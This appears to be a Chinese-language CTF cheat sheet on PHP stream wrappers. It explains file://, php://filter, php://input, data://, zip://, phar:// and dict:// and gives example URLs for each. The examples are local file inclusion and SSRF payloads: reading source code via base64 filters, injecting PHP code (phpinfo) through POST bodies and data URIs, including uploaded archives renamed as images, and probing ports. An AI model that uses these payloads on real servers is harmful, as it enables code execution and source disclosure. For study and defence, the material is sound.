PHP伪协议
# PHP伪协议
# file://
条件
allow_url_fopen
:on/off
allow_url_include
:on/off
作用
- 用于读取本地文件系统,不受
allow_url_fopen
与allow_url_include
的影响 include( ) /require( )/include_once()/require_once()
参数可控的情况下,如导入为非.php
文件,则仍按照php
语法进行解析,这由include()
函数所决定。
说明
file://
文件系统是PHP使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用CLI的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如fopen()
和file_get_contents(), include_path
会可选地搜索,也作为相对的路径。
用法
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C : /path/to/winfile.ext
C : \path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file : ///path/to/file.ext
示例
file: //[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\ PHPTutorial\WWW\phpinfo.php
1file: //[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.php
1file: //[http://网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.php
1
# http://&https://协议
条件
allow_url_fopen
:on
allow_url_include
:on
作用
- 作用:常规
URL
形式,允许通过HTTP 1.0
的GET
方法,以只读访问文件或资源。 CTF
中通常用于远程包含。
用法
- http: //example.com
- http: //example.com/file.php?var1=var1&var2=var2
- http: //user:password@exampLe.com
- https: //example.com
- https: //example.com/file.php?var1=var1&var2=var2
- https: //user:password@example.com
示例
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.php
# php://协议
条件
allow_url_fopen
:on/off
allow_url_include
:仅php://input
php://stdin
php://memory
php://temp
需要on
作用
php://
访问各个输入/输出流I/O streams
- 在
CTF
中经常使用的是php://filter
和php://input
php://filter
用于读取源码,php://input
用于执行php
代码。
说明
PHP
提供了一些杂项输入/输出IO
流,允许访问PHP
的输入输出流、标准输入输出和错误描述符、内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
协议 | 作用 |
---|---|
php://input | 可以访问请求的原始数据的只读流,在POST 请求中访问POST 的data 部分,在enctype="multipart/form-data" 的时候php://input 是无效的。 |
php://output | 只写的数据流,允许以print 和echo —样的方式写入到输出缓冲区。 |
php://memory php://temp | (>=5.1.0) 一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是php://memory 总是把数据储存在内存中,而php://temp 会在内存量达到预定义的限制后(默认是2MB )存入临时文件中。临时文件位置的决定和sys_get_temp_dir() 的方式一致。 |
php://filter | (>=5.0.0) 种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one) 的文件函数非常有用,类似readfile() 、file() 和file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器。 |
# php://filter
说明
- 经常使用的一种伪协议,一般用于任意文件读取,有时也可以用于
getshell
.在allow_url_fopen
、allow_url_include
都为OFF
的情况下也可以使用.
参数
名称 | 描述 | 备注 |
---|---|---|
resource=<要过滤的数据流> | 指定了你要筛选过滤的数据流。 | 必选 |
read=<读链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符(|) 分隔。 | 可选 |
write=<写链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符(|) 分隔。 | 可选 |
<;两个链的筛选列表> | 任何没有以read=或write= 作前缀的筛选器列表会视情况应用于读或写链。 |
例子
php://filter/[read/write]=string.[rot13/strip_tags/……]/resource=xxx
?file=php://filter/read=convert.base64-encode/resource=xxx.php
?file=php://filter/read=string.rot13/resource=xxx.php
# php://input
说明
用于执行POST
数据中的PHP
代码
注意
enctype= "multipart/form-data"
的时候php://input
是无效的
示例
POST数据:<?php phpinfo()?>
http://127.0.0.1/index.php?file=php://input
# data://
条件
allow_url_fopen
:on
allow_url_include
:on
作用
自PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP
代码。
用法
data://text/plain,<?php%20phpinfo()?>
data://text/plain;base64,<?php%20phpinfo()?>
示例
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
1data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
1
# zip://&bzip2://&zlib://
条件
allow_url_fopen
:on/off
allow_url_include
:on/off
作用
zip://&bzip2://&zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg
png
gif
xxx
等等。
示例
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
压缩
phpinfo.txt
为phpinfo.zip
,压缩包重命名为phpinfo.jpg
,并上传http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
1compress.bzip2: //file.bz2
压缩phpinfo.txt为 phpinfo.bz2并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
1compress.zlib://file.gz
压缩phpinfo.txt为phpinfo.gz并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
1
# phar://
作用
phar://
协议与zip://
类似,同样可以访问zip
格式压缩包内容
示例
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
# dict://
条件
allow_url_fopen
:on
allow_url_include
:on
说明
与gopher协议一般都出现在ssrf
协议中,用来探测端口的指纹信息。同时也可以用它来代替gopher
协议进行ssrf
攻击。
用法
探测端口指纹
http://127.0.0.1/?url=dict://192.168.0.0:6379